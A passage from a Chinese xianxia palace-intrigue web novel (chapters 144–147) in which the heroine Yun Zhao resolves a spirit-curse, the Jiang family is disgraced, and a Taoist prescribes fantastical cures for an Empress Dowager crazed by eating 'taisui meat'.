只依稀记得家中院里有口老井,井栏雕刻着缠枝莲纹。家里有位老人,最爱在夏日将西瓜湃在井中纳凉。盛西瓜用的,是一只青花缠枝莲纹的大瓷盘。”
“还有,家中院落常年弥漫着一股奇异的药香。他自幼闻惯了这个味道,长大后每每经过药铺,却再也寻不回记忆中的香气。”
“院子里还养着一只狸奴,通体乌黑,四爪雪白,他总爱叫它‘煤球’。”
随着云昭一句句道出这些细节,刘邝已是老泪纵横。
他踉跄着跪倒在地,朝着屏风上那抹单薄的少年身影伸出颤抖的手:
“安哥儿……祖父一直以为,你虽与祖父失散,却得好心人收养,成了才名远播的书院学子……”
他哭得撕心裂肺,枯瘦的手指隔着虚空轻抚孙儿的面容,“你现在,便是你……离去时的模样,对吗?”
也就是说,他的孙儿刘承安,早在十二
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三岁的年纪,就已经**!
云昭低声与那少年交谈几句,屏风上的少年朝着刘邝深深一拜。
“他说,有负父母亲人养育之恩。若来世还能为人,愿与你再做一世亲人。”
刘邝眼角淌泪,又哭又笑:“天意弄人!天意弄人啊!”
笑声未落,他猛地呕出一口鲜血。
他艰难地转向苏文正,眼中满是悔恨与愧疚,用尽最后力气叩首道:“苏兄……对不住!冤屈了你……我不配做你的朋友。今日,我便以命相偿……”
话音渐弱,他佝偻的身躯缓缓倒地,再无声息。
那双曾经充满怨恨的眼睛,此刻只余一片空茫。
谁也没料到,刘邝刚刚与真正的孙儿相认,甚至还来不及弄清为何会错认周彦为,就这般溘然长逝!
连皇**不自禁地起身:“爱卿,可能将人救醒?”
云昭微微摇头:“陛下,刘承安魂魄此来,一则是受我招引,二则,本就是来接引他的祖父同赴黄泉。”
几乎在她话音落下的瞬间,屏风上刘承安的少年身影开始渐渐淡去。
在彻底消散前,他身侧隐约多了一道佝偻的老者轮廓。
祖孙二人的身影在屏风上相携而立,朝着云昭深深一揖,随即如轻烟般,彻底消散无踪。
皇帝怔怔道:“就这么完了?”
这句话道出了在场所有人的心声。
苏文正、苏惊墨等人俱都目不转睛地望着云昭。
云昭轻声道:“恭喜苏山长,恭喜陛下。刘大夫临终前那一拜,已用他最后的生机与悔意,亲自解了断梁咒。”
苏文正长叹一声:“至少他在生命最后,终于找到了真正的孙儿,了却了十二年的夙愿。”
皇帝目光转向苏文正:“苏卿,那周彦之死,又是怎么回事?”
提及周彦,云昭敏锐地察觉到苏文正眼中闪过一丝迟疑。
他正欲拱手回话,常公公却急匆匆奔入殿中:
“姜司主!不好了!有悔大师快要撑不住了,您快过去看看吧!”
云昭闻言色变。
一旁萧启已揽过她的腰际,衣袂翻飞间,人已如离弦之箭般朝偏殿疾驰而去!
“带上我啊!”赵悉急得跳脚!
他自觉反应够快,嘴巴也吼得很及时,而且萧启分明还空着一只手,偏偏没顾上拽他一把!
赵悉也不含糊,当即脚下生风,一溜烟追了上去。
苏惊墨见状,也毫不犹豫地紧随其后。
转眼间,众人纷纷奔走而去,殿内只剩下腿脚不便的苏文正与皇帝面面相觑。
苏文正苦笑着躬身:“陛下请先行。老臣腿脚不便,稍后便到。”
第144章 革去礼部尚书一职
辘辘前行的马车内,姜世安与姜珩相对而坐,车轮碾过青石路面的声音规律而沉闷。
姜世安捋着胡须,眼底带着几分自得:“太子殿下虽被勒令在东宫闭门思过,不得公开现身,但眼下局势已然明朗。
殿下在朝中根基深厚,岂会因一时挫折就一蹶不振?
为今之计,是要设法让陛下早日颁下赐婚圣旨。只要绾心与太子的婚事定下,一切才更稳妥。”
姜珩点头附和:“父亲说得极是。贵妃娘娘是太子的表姐,这些年来盛宠不衰。有贵妃在陛下面前周旋,说不定过两日就能解禁了。”
他顿了顿,压低声音,“您细想,若不是贵妃娘娘一直明里暗里维护,为殿下出力,京中怎会传出那些有关他二人的污秽流言?
这分明是有人故意散步,欲动摇太子之位啊!”
姜世安深以为然,眼中精光闪烁:“我儿分析得在理!”
谈及此处,父子二人不约而同地想起方才听闻云昭被宣入宫中的消息。
因着此前与太子的密谈,他们笃定云昭此次必定凶多吉少。
车厢内一时陷入沉默。
姜世安忍不住叹了口气道:“要我说,云昭这孩子终究是乡野长大,见识短浅。平日里也太过张扬了些。
天子近臣岂是好当的?
即便是为父,兢兢业业为圣上效力三十载,一旦稍有不慎,还不是要谨言慎行?
她能得秦王青眼,已是天大的福分,偏还不知安分守己。”
姜珩却蹙眉道:“父亲,云昭毕竟精通异术,咱们还是得小心提防。家里旁人倒还罢了,但云昭和苏氏……我还是担心,她们哪日将我的身世宣扬出去……”
话到此处,姜世安不禁思念起梅柔卿:“若是梅姨娘在就好了。她也是个有手段的,可惜如今困在京兆府大牢。
不过听今日殿下的意思,会设法救梅氏出来。待她归来,咱们一家人从长计议,定能为你彻底除去这个隐患。”
姜珩眼中闪过一丝狠厉:“十日后文昌大典,便是个好机会。我们不妨趁着殿下出手,也……”
就在这时,马车猛地一阵剧烈颠簸,打断了姜珩未尽之语。
姜世安勃然大怒,正要斥责车夫,却见姜珩掀开车帘,一个年轻俊俏的小太监,打马而过。马蹄扬起的尘土险些扑进车厢。
“常海?”姜世安定睛一看,不禁诧异。
姜珩疑惑:“父亲认识他?”
“他是常玉公公的干儿子,一向在御前伺候,极少出宫。今日这是……”姜世安话音戛然而止。
父子二人齐齐噤声,眼睁睁看着常海在姜府门前勒马而下,手中赫然捧着一道明黄色的圣旨!
“姜世安接旨!”常海清亮的声音传来。
姜世安与姜珩对视一眼,面上难掩喜色。
“快!快些驾车!”姜世安一边催促车夫快马加鞭,一边对姜珩低语:
"为父方才说什么来着?太子即便暂困东宫,手段通天。人都未曾进宫,圣旨却已来了!"
马车甫一停稳,父子二人便仓促下车,小跑着奔向府门。
沿途百姓见这阵仗,无不驻足围观。
此时姜府大门洞开,姜绾心率先走出,身后跟着身形羸弱的姜珏搀扶着姜老夫人。
姜绾心见到手持圣旨的常海,再感受到四周投来的目光,不由得挺直腰板,两腮泛红:“可是陛下颁下的赐婚圣旨?”
她心中暗喜:太子方才突然离去,定是去恳请陛下下旨了!
常海诧异地瞥了她一眼。
这姜二小姐好大的胆子,见到他竟不知不见礼,还敢直问圣旨内容?
更离谱的是,她怎敢公然说出“赐婚圣旨”这般不知轻重的话?
不待常海发作,姜世安已连滚带爬地冲上台阶,朝常海行了一礼:“劳公公久等。微臣接旨!”
常海却不急着宣旨,而是学着干爹常玉的架势,居高临下地打量着姜世安,慢条斯理道:“姜家的规矩,杂家今日也算见识了。”
皇帝这两日心中憋着火气,他们这些近身内侍再清楚不过。
私下里,干爹常玉曾提过一嘴,皇上动怒,与姜家脱不了干系。
昨夜引云昭入太后寝宫的小太监正是常海。
他是个聪明人,前后一联想,对太后身上发生了什么、以及陛下究竟是何心思,已然有了几分猜测。
故而他不紧不慢地道:“姜世安,你这女儿,实在少教。你若不会教,杂家不介意帮帮你。”
姜世安闻言,一股怒火直冲脑门!
他的女儿,岂容一个阉人教训?
而且这小太监是不是疯了!竟敢当众直呼他的名讳?
他当即敛去笑意,冷声道:“常海,你虽有常内侍做靠山,行事也不要太过骄狂!
我乃陛下亲封的礼部尚书,朝廷命官!
虽然今日被勒令在家中休养,也不是什么阉竖都能随意呼喝的!”
一旁的姜绾心也帮腔道:“你这小太监好生无礼!陛下派你来宣旨,不是让你在这狗眼看人低的!”
姜老夫人更是拄着拐杖骂骂咧咧:“这叫什么事!一个个的,鼻孔朝天,真当自己是个人物了!不过是个没根儿的东西,也敢在朝廷命官面前摆谱!”
常海气得脸色煞白!
他终于明白出宫前干爹为何意味深长地说这趟差事不易,还特意嘱咐他多带人手!
这时,姜世安竟当着众人的面,鄙夷地唾了常海一口:"阉狗!不过是个伺候人的玩意儿,也敢在老夫面前摆谱!"
“你——!”常海险些气晕过去。
他平素说话一向轻声细语,因年纪轻面皮薄,虽是太监却极少流露出异样。
此刻他再也按捺不住,尖声叱骂,一时嗓子都嚷嚷劈了:“来人!给我把这狂妄之徒拿下!进府,搜出他的官服!”
两个随行的禁军侍卫应声上前,不顾姜世安的挣扎,一把将他摁倒在地。
常海当即展开圣旨,扬声宣读:“奉天承运皇帝,诏曰:礼部尚书姜世安,身为朝廷重臣,却德行有亏,治家无方,纵容亲眷,不堪重任。
即日起,革去礼部尚书一职,明日赴刑部都官司报到,任员外郎,听候刑部侍郎陶远之差遣!钦此!”
帝王心术,最擅权衡。
没有人比皇帝更清楚臣子在朝中的政敌是谁。
盛怒之下,皇帝特意将姜世安贬到与他最不对付的陶远之手底下,分明是要好好磋磨他。
这道圣旨犹如晴天霹雳!
姜世安顿时面如死灰,被摁倒在地的他承受着街坊四邻的指指点点,脸色由白转红,由红转青,忍不住嘶声道:“不可能!这绝不可能是真的!”
姜珩也急忙追问:"常公公,这到底是怎么回事?"
姜老夫人更是猛地扑上前:“阉贼!是不是你假传圣旨!”
这一扑可不要紧!
常海本就嫌恶这一家子人,方才特意站得老远,已退到台阶边缘。
姜老夫人拄着拐杖生扑过来,
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竟将常海直接撞得滚下台阶,后脑勺重重磕在青砖地上!
随行的禁军侍卫大惊失色,连忙上前,一把掀开趴在常海身上的姜老夫人,将常海搀扶起来。
常海只觉得脑瓜子嗡嗡作响,伸手一摸后脑,指尖竟沾了鲜血。
他两眼一翻,当场晕了过去!
禁军侍卫当即怒不可遏:“姜家人抗旨不尊,打伤宣旨太监!此事我等无法向陛下交代,须得将犯人一并带入宫中听候发落!”
要说常海今日也是倒霉,他头一次独自宣旨,陪同的侍卫也都是新人。
众人手忙脚乱地将常海扶上马,又把姜老夫人横搭在另一匹马上,一行人匆匆而来,又匆匆而去!
姜绾心见状简直要疯了:“祖母年事已高,经不起这般折腾!爹,兄长,快想办法啊!”
姜世安失魂落魄地伏在地上,面如死灰。
一想到明日要去刑部,在死对头陶远之手底下任职,他只觉万念俱灰。
姜珩却一把将他捞起:“父亲!祖母被禁军带进宫了!现在不是难过的时候,必须想办法!否则此事闹大,不知陛下要如何严惩!”
姜世安恍惚回神,回想起方才种种,不禁冷汗直流。
他急忙从腰间取下一块玉佩塞给姜珩:“速去荣太傅府!代我传话,就说十万火急,求太傅大人顾念旧情,在陛下面前美言几句。家中老母,年事已高,实在禁不起折腾啊!”
说罢,他快步奔向马车,朝车夫厉声喝道:“速去皇宫!快!”
*
另一边,云昭刚踏入偏殿门槛,不由心神一凛。
只见殿内一片狼藉,仿佛刚经历了一场恶斗。碎瓷遍地,桌椅翻覆,连帘幔都被撕扯得七零八落。
宫女和内侍们惊慌失措地缩在角落,人人面带惧色。
更令人心惊的是,一个年轻宫女瘫倒在地,双手死死捂住鲜血淋漓的脖颈,胸口微弱起伏,已是进气少出气多!
有悔大师正将那宫女护在身后,手中佛珠急速转动,口中念念有词,额间渗出细密汗珠。
而他面前的太后,已全然不见往日的雍容华贵——
那张年轻美艳的面容扭曲狰狞,眼神空洞却透着骇人的凶光,嘴唇还沾着血渍,整个人散发出令人毛骨悚然的邪异气息。
萧启见状,脚下不停,身形如电疾射上前,指尖凝聚内力,迅如闪电般点向太后周身大穴!
太后身形只迟滞了一瞬,随即发出一声叱声,反击之势更加凶猛。
竟似完全认不出眼前之人,正是她最疼爱的孙儿萧启!
“分别贴在她眉心与后背心!”
云昭清叱一声,手中两道黄符如利箭般射出。
萧启凌空接住黄符,身形如游龙般绕至太后身后,依照云昭指示,精准地将符箓贴上。
太后突然僵立原地,再不能动弹分毫。
唯有那双眼睛还在诡异地转动着,咕噜噜地扫视众人,令人不寒而栗。
有悔大师急忙查看宫女伤势,指尖按住她颈侧动脉。
不待云昭近前,他已沉重地摇了摇头:“没救了。”
他双手合十,闭目诵念往生咒,悲悯的梵音在死寂的殿中回荡。
紧随而来的皇帝无论如何也没想到,即便有悔大师在场,事态竟会发展到如此地步!
而他的母后,大梁朝最尊贵的女人,方才竟如嗜血的恶鬼般,生生咬**一个宫女!
一股刺骨的寒意从脚底窜上脊背,皇帝不由自主地后退半步。
第145章 一并押进宫中!
常公公“扑通”一声跪倒在地,快语禀报道:“陛下,此事万万不能怪有悔大师!实在是太后娘娘她……她方才的情形,已非人力所能及啊!”
他稳了稳心神,详细道来。
有悔大师进殿后,眼见太后神情狂乱,大笑大哭,当即取出木鱼,同时口诵金刚经。
随着诵经声在偏殿之中回荡,伴随着清越的木鱼声,竟隐有卍字金印渐渐在半空成形,柔和却庄严的金光将太后周身笼罩。
常公公和一干内侍虽然看不到卍字,却眼见太后果然渐渐平静下来,众人也便渐渐卸下心防。
之后,太后言语行为与从前无异,甚至能与常公公闲话几句,并说自己口渴,想要喝她平日最爱的雨前龙井。
身边伺候的年轻宫女眼见太后恢复清醒,连忙转身斟了一杯温茶,小心翼翼地奉上。
谁知就在递茶的刹那,太后突然抱住透露,大呼头痛!
有悔大师察觉不对,急声喝止,太后却以非人的速度一把揽过宫女,张口就咬向她的脖颈!
“不过眨眼功夫,那丫头就血流如注……”常公公也算是历经风浪的老人了,但提及当时的情形,仍然心口发寒!
听着常公公的叙述,在场众人无不色变。
赵悉忍不住捶了自己大腿一记,在心里暗骂:这死腿!跑这么快作甚?
这等要命的皇家秘辛,居然让他撞个正着,岂不是自寻死路?
他一转脸,瞧见身旁脸色微白却仍保持镇定的苏惊墨,不由稍稍安心——
好歹还有苏家人一同目睹,要是大家一起死,也就不心慌了。
萧启这时沉肃道:“陛下,祖母之事,刻不容缓,需早做决断!”
皇帝从进殿起就面沉如水,闻言目光锋锐,直直睇向萧启:“你说的决断,是何意思?”
萧启语出惊人:“陛下万金之躯,身系江山社稷,难道要任由宫中藏着这等隐患?
今日皇祖母失控咬死的是个宫女,来日若这等狂性闯入御书房,惊了圣驾,后果不堪设想!
皇帝脸色沉凝如铁,转而盯着有悔大师:“太后到底是怎么一回事?难道凭你与云昭联手,合力也不能救?”
“阿弥陀佛。”有悔大师双手合十,面露惭愧之色,
“太后娘娘此状,绝非寻常病症或邪祟附体,倒更像是……服食了某种极阴损、极霸道的异物所致。
但此物究竟是何来历,老衲见识浅薄,也从未见过,更谈不上化解之法。”
有悔大师这番结论,倒与前夜云昭入宫时所说,不谋而合。
皇帝眉头紧锁,仍是不甘心:“既然是服食所致,难道就真的无法可解?”
他越想越是恼恨,姜家那个姜绾心,她怎么敢的?
还有太后,别人给什么,只要听说能美容养颜,就真敢往嘴里送?简直愚蠢透顶!
就在这时,殿外传来禁军统领焦急的声音:
“陛下!常海公公与末将手下奉旨往姜家宣旨,却遭姜家人暴力抗旨!常海公公被推搡倒地,重伤昏厥,至今生死未卜!”
众人闻言,无不色变。
赵悉忍不住咂舌惊呼:"姜家哪个?竟有这么大的狗胆?连宣旨太监都敢打!"
禁军统领迟疑片刻,才硬着头皮回禀:“据末将手下禀报,动手的是……是姜世安的老母亲,姜老夫人。”
皇帝本就在为姜绾心献药之事恼怒万分,此时听闻姜家竟还敢抗旨伤人,不怒反笑:“好,好一个姜家!
传朕旨意,把姜家上下一并给朕押进宫中,听候发落!尤其那个姜绾心,给朕带到殿里来!”
那禁军统领亦是满脸**。
今日这趟差事他没亲自跟着去,谁能想到,那可是宣旨太监啊!
居然有人敢当着禁军侍卫的面,把宣旨太监给撞得摔破了头,昏迷不醒!
而此人竟还是个手无缚鸡之力的老妇!
这差事办的,简直是丢尽了禁军的脸面!
禁军统领沉声应道:“属下领命!”随后带着一腔怒火与羞愤,快步离开了。
偏殿之内,皇帝本不欲将太后之事声张,但他着实没想到,昨日太后服下那东西,后果竟然如此严重!
若只是白日瞧着容光焕发,夜间气息微弱,倒也罢了。
毕竟太后身边都是心腹,总能遮掩过去。
但如今太后竟狂性大发,喝人血、咬**了!此事一旦传出,皇室颜面何存?
他心中怒火翻腾,此时听闻禁军首领回禀,盛怒之下,也认为这是个将罪魁祸首名正言宣进宫来的好机会!
既能查清真相,又能借此严惩姜家,避免旁人非议他因太后之事牵连臣子,可谓一举两得。
说话间,皇帝已打定主意,今日太后若真有个三长两短,便要让姜家上下都给太后陪葬!
然而,云昭却微微蹙眉,心中暗道:不对劲。
昨夜她见太后情形,之后又见梅柔卿也是那般气息诡异,曾猜测二人体内都被种下了诡谲的蛊物,并且彼此气息勾连,如同母子蛊一般相互影响!
但这蛊物按常理推断,不该这么快就引发如此酷烈的后果!
若真是这样,献药的姜绾心和提供药物的梅氏岂不是自寻死路?
背后的薛九针又是图什么?
用蛊术控制一国太后,自然是为了长远的好处。
但今日之事,明显是将这步棋彻底暴露,甚至可能沦为废子,可以说有百害而无一利!
皇帝这时将目光投向云昭,带着最后一丝期望:“姜云昭,你素来机变,可有方法化解?”
云昭眼帘轻垂,语气平静无波,却带着一种洞悉世事的淡漠:
“陛下,并非所有歧路,都可回头。孽债一旦做下,便无法挽回。”
云昭这话说得老辣又隐含讥诮,皇帝被她噎得一怔。
再看向云昭的眼神,一时变得深沉难测,带着审视与复杂的意味。
然而云昭既不抬首迎视,也没有任何惶恐或辩解的动作,就那么静静地站在那里,身姿挺拔如竹,任由皇帝锐利的目光打量。
别说她此刻也确实不知梅柔卿给太后服下的到底是什么东西,即便知道,难道她会为了一个视人命如草芥的太后,去冒险施展什么逆天之法吗?
凭什么?
她精研医术玄术,是为济世救人,
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但也要看对方是何人,所患何“症”,又需要付出何种代价来“救治”。
像太后这样,为了容颜永驻而罔顾他人性命,最终自食恶果的,在她看来,纯属咎由自取,她懒得耗费心神去救!
想到此处,云昭不由再次悄然运转玄瞳,朝面前被符箓定住、一动不动的太后看去。
玄瞳视界之下,太后面上那层灰败死气,已比初见时浓郁了数倍不止!
更令人心惊的是,数条猩红刺目的血线,紧密缠绕在她周身,每一根都代表着一条被汲取的人命!
初见太后那日,云昭见她保养得极好,但细看之下,面上却有一层灰败之气覆盖,显露出与她外在荣光截然相反的衰亡之相。
彼时云昭只猜测,太后大约是早年造下杀孽过重,损了阴德,才将自身好好的凤命折腾成这副外强中干的模样。
可如今,她还有什么不明白的?
太后为了保持青春容颜,此前必定没少服用类似的阴损之物。
汲取他人血肉姓名换来的青春,是要付出代价的!
有时,并非恶人不报,而是天道自有一套计算善恶福报的法则。
一旦此人消耗光了累世积攒的福报与功德,等待她的,生前是无穷无尽的痛苦与折磨,死后,则是十八层地狱的酷刑!
眼见有悔大师和云昭都言之凿凿,认定太后这般情形已是药石无灵,回天乏术。皇帝不由陷入挣扎之中。
当年兄长暴毙而亡,朝野内外质疑之声四起,是太后当着文武百官的面,亲手拿出了那道兄长生前留下的传位圣旨,就此堵住了悠悠众口!
即便仍有人心怀不满,但他这皇帝之位,终究是名正言顺了!
可以说,他能顺利登上九五至尊之位,虽应了天时地利,但更少不了太后这位亲生母亲的鼎力支持!
他固然恼恨太后的贪婪与不知分寸,但若真要他亲自下令,将生身母亲就此了结……
试问人世间,有几人能够狠下心肠,做出这等弑母之举?
然而就在这时,殿门外传来一道略显沉郁的男声:“无量天尊!”
众人循声望去,只见玉衡**去而复返,手持拂尘,步履匆匆而入。
他面色凝重,目光扫过殿内情形,最终落在皇帝身上,沉声道:
“贫道方才行至宫门外,忽觉心神不宁,掐指一算,竟发现太后娘娘的命星摇曳,其劫数已生变故。
那应劫之期……竟不知何故提前了!就在今日!就在此时!”
他举起手中一枚雕刻着飞凤的赤金令牌,正是皇帝亲赐的“凤阕令”:
“情急之下,贫道只得凭此令闯宫,若有失仪不敬之处,还望陛下宽宥。”
皇帝眸色深沉地凝视着他。玄术之说,他信,但也不全信。
玉衡**到底品性如何,是否另有目的,他身为一国之君,心中自有一杆秤。
但此刻太后情形危急,他已顾不得许多,无论是佛是道,只要有一线希望,他都愿意一试。
他缓缓开口:“玉衡**来得正好。你既然去而复返,想必是心有所感。你来看看,太后……究竟如何了?”
第146章 关小黑屋
玉衡**缓步上前,并未急于号脉,而是先自袖中取出一面古朴的青铜八卦镜。
他指尖轻抚镜面,口中念念有词,那镜面竟泛起一层朦胧清辉。
随后,他将镜面对准太后周身缓缓移动,当镜光扫过太后眉心时,镜中竟隐隐浮现出一团蠕动着的、如同活物般的暗红色阴影。
“陛下请看,”玉衡**声音凝重,“此乃太后体内异气显形。”
他这才伸出三指,轻轻搭在太后腕间。
只见他指尖微微颤动,仿佛在感知着什么极细微的脉动,眉头越皱越紧。
片刻后,他轻轻翻开太后眼皮,皇帝一看,不禁倒吸一口凉气——
太后的瞳仁竟隐隐泛着一层不祥的血色。
最后,他取出一对白玉雕成的阴阳鱼,将其置于太后掌心。
令人骇然的是,那白玉鱼竟渐渐由温润转为暗红,仿佛在汲取着什么。
玉衡**脸色愈发沉凝,半晌才转身禀道:“回陛下,太后娘娘这症状……应是服食了太岁肉所致。”
皇帝闻言一怔:“太岁肉?朕曾在古籍中见过此名,却不知其详。”
一旁的苏文正道:“《山海异物志》中曾见记载,太岁又称‘肉灵芝’,状如肥肉,赤者如珊瑚,白者如脂肪,黑者如泽漆......”
“苏山长所言不差,”玉衡**轻轻打断,“但古籍所载不过皮**。
真正的太岁肉乃天地灵气所钟,若能得法服用,确有充盈气血、返老还童之奇效。
据说前朝有位太妃,便是因缘际会服食了炼制得当的太岁肉,年至花甲仍如二八少女。”
皇帝眼中闪过惊疑之色:“照**这么说,这太岁肉竟是延年益寿的仙品?”
“是,也不是。”玉衡**微微摇头,“太岁肉虽好,却需遵循古法炼制。
须在月圆之夜采撷,置于汉白玉坛中,以月光曝晒七七四十九日,祛除其中阴浊之气。
再用头一年冬至的初雪融水,佐以晨露送服。如此方能激发其纯阳灵气,达到青春永驻之效。”
他话锋一转,叹息道:“但太后娘娘这般直接服食生肉,虽能立竿见影地恢复青春容貌,却如同引火烧身。
那未经炼化的太岁肉中蕴含的暴烈灵气,正在反噬她的五脏六腑。”
玉衡**转向常公公:“贫道需要四时花露各一盏——
春桃、夏荷、秋菊、冬梅,皆需日出前采集得来。另要无根水三升,须是雷雨时以紫铜盆接取。还有……”
他略显迟疑,“还需一坛五毒日正午从千年古井中取出的‘极阳水’。
贫道的玄都观中恰巧备有一坛,本是采集多年,准备在陛下万寿节时献上的贺礼。
此水需在五毒日正午,阳气最盛之时,从百年以上的古井中汲取,一年只得这一坛。如今太后危急,只能先救急了。”
皇帝闻言神色稍缓:“**有心了。既是救太后要紧,但用无妨。”
随后命侍卫前往玄都观去取水来。
云昭与有悔大师隔空交换了一个眼神。
有悔大师眉宇间忧色更深:“陛下,老衲研读佛医典籍数十载,从未见过**所说的这种太岁肉服用之法。
且太岁本是罕物,古籍记载本就含糊,**此法……老衲实在心存疑惑。”
萧启站在一旁,冷眼看着这一幕。
他太了解这位皇叔了——
既然玉衡**给出了看似可行的方案,皇帝必定会一试。
毕竟,哪位帝王,会对传说中可以延年益寿的太岁肉不动心?
果然,皇帝转向苏文正:"苏卿以为如何?"
苏文正躬身道:“玄术之道,臣确实不懂。但太岁肉的记载,臣也未曾见过**所说的炼制之法。”
其实有悔大师方才那番话,乍一听颇为含蓄,其实已经说得很明白了——
这玉衡**,根本就是在信口开河!
但苏文正伴驾多年,比谁都清楚这位君主的性子。
只需看皇帝此刻的眼神就知道,圣意已决,再劝也是枉然。
正当众人争执间,被符箓定住的太后忽然发出一声微弱的呻吟。
不待云昭动作,玉衡**已抢先出手。
他指尖轻弹,三枚银针精准刺入太后百会、风府、大椎三穴,手法如行云流水,看似轻柔却立竿见影。
太后周身暴戾的气息竟真的渐渐平复,连面上那不正常的红晕也消退些许。
皇帝见状,眉眼不由舒展:“**确有妙法。”
这时内侍已带着太医将所需之物一一奉上。
皇帝正要下令开始治疗,玉衡**却忽然道:"陛下,有件事贫道需事先言明......"
“宫中出了这样的大事,居然无人去告知本宫!”一道带着愠怒的女声自殿外传来。
众人循声望去,只见长公主萧妙瑜正快步走入殿中。
多日未见,云昭观其容颜,见她眉眼间虽蕴轻愁,但气色尚可,不由多少放下心来。
长公主亦先看向云昭,见她安然无恙,几不可察地松了口气,随即快步走向太后:“母后到底发生何事?”
皇帝脸色一时复杂难言,既有尴尬,又有后怕,还带着一丝懊恼。
玉衡道长却以拂尘相拦:“长公主殿下请留步。太后娘娘此刻情形特殊,不宜惊扰。”
常公公连忙将事情经过拣紧要的说了。
长公主越听脸色越是难看,最后忍不住对皇帝怒道:“母后这般糊涂,陛下怎不拦着?如今弄成这副人不人鬼不鬼的模样!说出去简直滑天下之大稽!”
她环视四周,目光凌厉,“姜绾心人呢?今日本宫非要亲手打死这个祸国殃民的小**不可!”
玉衡**急忙劝阻:“殿下万万不可!"
长公主冷笑:”少拿你那套太岁肉的鬼话糊弄本宫!本宫从不信什么青春永驻、长生不老!
太岁肉不过是块顽石,吃了能有什么好?
献药之人,其心可诛!就该立即处死!"
这番话可谓掷地有声,道出了在场许多人的心声。
莫说有悔大师、苏文正这等阅历深厚的老臣心中存疑,便是赵悉、苏惊墨这些年轻一辈,听着玉衡**口中那套玄乎其玄的说辞,心里也难免犯嘀咕。
但皇帝愿意相信,他们谁敢说个“不”字?
左右是皇帝自己的亲生母亲,圣上执意要试,难道他们还要为了这事据理力争,甚至不惜赔上自己的项上人头?
玉衡**面对长公主的咄咄逼人,依然不慌不忙,拂尘轻扫,语气平和:“贫道阻止殿下,并非要为姜小姐开脱。
实在是太岁肉这等天地灵物太过罕见,贫道虽在典籍中见过记载,却从未亲眼得见。
若要救治太后,必须问清姜小姐这太岁肉从何处得来,又是何种品相。只有弄清这些,救治太后方能事半功倍。”
长公主听得心头火起,可看一旁皇帝那副跃跃欲试的神色,便知姜绾心今日是死不成了!
云昭闻言,眸光微闪。
她对玉衡**的身份和真实用意早有怀疑,此刻听了他这番冠冕堂皇的说辞,心下更是雪亮。
今日既然姜绾心要被押解入宫,她岂能眼睁睁看着这个屡次设计陷害自己的“好妹妹”,毫发无损地走出这宫门?
有些账,是时候清算了。
长公主嗤笑一声,语带讥讽:“照你的说法,若是依照姜绾心所说,真能找到其他太岁肉,陛下难道还要赏她不成?简直笑话!”
长公主脾气刚烈,性子直率,这番话虽然让皇帝面上有些挂不住,但心底里却也是认同的。
若姜绾心真是个忠孝纯良的,献太岁肉这等大事,何以要偷偷摸摸?
为何不通过其父姜世安,堂堂正正地献上
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可见其心思不正,所图非小。
玉衡**不再多言,开始着手施为。
他先将四时花露依序倒入一个白玉碗中,指尖轻点,口中念念有词,那花露竟自行旋转融合,散发出奇异的馥郁香气。
随后,他取出一道朱砂符箓,在烛火上点燃,灰烬落入花露之中,瞬间化作一道氤氲清气。再以指蘸取混合了符灰的花露,轻轻点在太后眉心、胸口与掌心。
随着他的动作,太后周身凶戾之气似乎淡去了些许,原本僵直的身体也微微松弛下来,喉咙里发出一声极轻的呻吟。
然而,不论是冷眼旁观的长公主,还是凝神细察的云昭与有悔大师,脸上都未见半分轻松或喜色。
唯独皇帝看得目不转睛,眼中充满了好奇与浓厚的兴趣,仿佛在观赏一场精妙绝伦的戏法。
片刻之后,太后眼皮微颤,竟悠悠转醒。
她脸上那抹诡异妖艳的红润与极致的青春气息已然消退,虽然显得有些憔悴,但眼神恢复了清明,周身那令人不安的邪异气息也消散大半,看起来正常多了。
玉衡**收势,额角隐见细汗:“眼下只是暂时稳住情况。只等极阳水送到,方可进行下一步。”
皇帝急忙追问:"母后这就好了?"
“非也。”玉衡**摇头,“接下来一月,才是关键。
太后娘娘需寻一清净密闭之处闭关,期间不能见日光,不能出房门,饮食饮水皆需以特殊方子调配,其中最关键的一味,便是那极阳水。”
云昭眸光微动,语气平淡却意味深长:“**的意思是,太后娘娘需要移驾玄都观,闭关静养一个月?”
“不错。”玉衡**颔首,“为保陛下安全,防止中间再出纰漏,这是必须要做到的。玄都观内有祖师爷设下的阵法,最是清净安全不过。”
正说话间,殿外传来一阵骚动。
只见姜绾心鬓发散乱、衣衫不整地被两名侍卫押了进来。
她一进殿便“扑通”一声跪倒在地,未语泪先流,声音凄婉地高喊:“陛下明鉴!太后娘娘明鉴!心儿冤枉啊!”
长公主见她这副作态,更是气不打一处来,厉声道:“掌嘴!本宫倒要看看,你这张巧嘴还能说出什么花来!”
长公主身边的嬷嬷立刻上前,二话不说,抡起胳膊就朝着姜绾心娇嫩的脸颊狠狠掴去!
“啪、啪、啪”的脆响,在寂静的殿内格外刺耳。
在场众人,包括皇帝在内,皆冷眼瞧着,无人出声阻止。
倒是刚刚醒转、坐在一旁静静调息的太后,终究是心软了,虚弱地抬了抬手:“行了,教训几下也就够了。好好的孩子,别真打伤了脸。
再说,心儿本也是一片孝心,当时她就跟哀家说了这东西得来不易,且不确定效用到底如何。
是哀家自己心急,没有仔细问过御医,就贸然服下了,怨不得她。”
姜绾心初时以为长公主下令掌掴自己,是为祖母在家门口闹出的事,此时一听,心下顿时了然!
一时间,她哭得更是梨花带雨,抽抽噎噎地道:“太后娘娘能安然无恙,心儿就是受再大的委屈也值得了!只要娘娘风体安康,心儿便心满意足……”
云昭冷眼看着姜绾心这番作态,温声开口道:“妹妹对太后娘娘一番纯孝,天地可鉴,实在令人感动。
妹妹本就与太后娘娘颇为投缘,又对太岁肉知之甚详,依臣看,接下来太后娘娘在玄都观静养的一个月,不如就让她陪同前往,与太后娘娘同吃同住,也好就近照料。
否则那观中清苦,屋子里黑黢黢不见天光,饮食用水又诸多节制,想来太后娘娘也会觉得孤单寂寞。
有妹妹这个贴心人在旁陪伴解闷,再合适不过了。”
她与姜家上下两世之仇,若就让他们不明不白直接**,岂不太便宜了?
第147章 给朕打!
“什么?!”姜绾心惊叫出声,声音里满是错愕与慌乱!
她原本蒙头蒙脑地被提进宫来,满心以为是为了祖母在自家门前失手伤了宣旨太监那桩祸事。
直到方才听了太后与众人争执,才惊觉今日这场风波,竟是冲着自己昨日献药之事而来!
可太后方才分明已在为自己求情,怎的姜云昭一开口,就说要将她关进什么黑黢黢的屋子,还要和太后一起?这岂不是要将她软禁起来?
姜绾心难以置信地望向太后,眼中迅速蓄满泪水:“太后娘娘……”
她可怜巴巴地道,“臣女实在不解,这到底是怎么一回事……”
太后听了也不愿意。
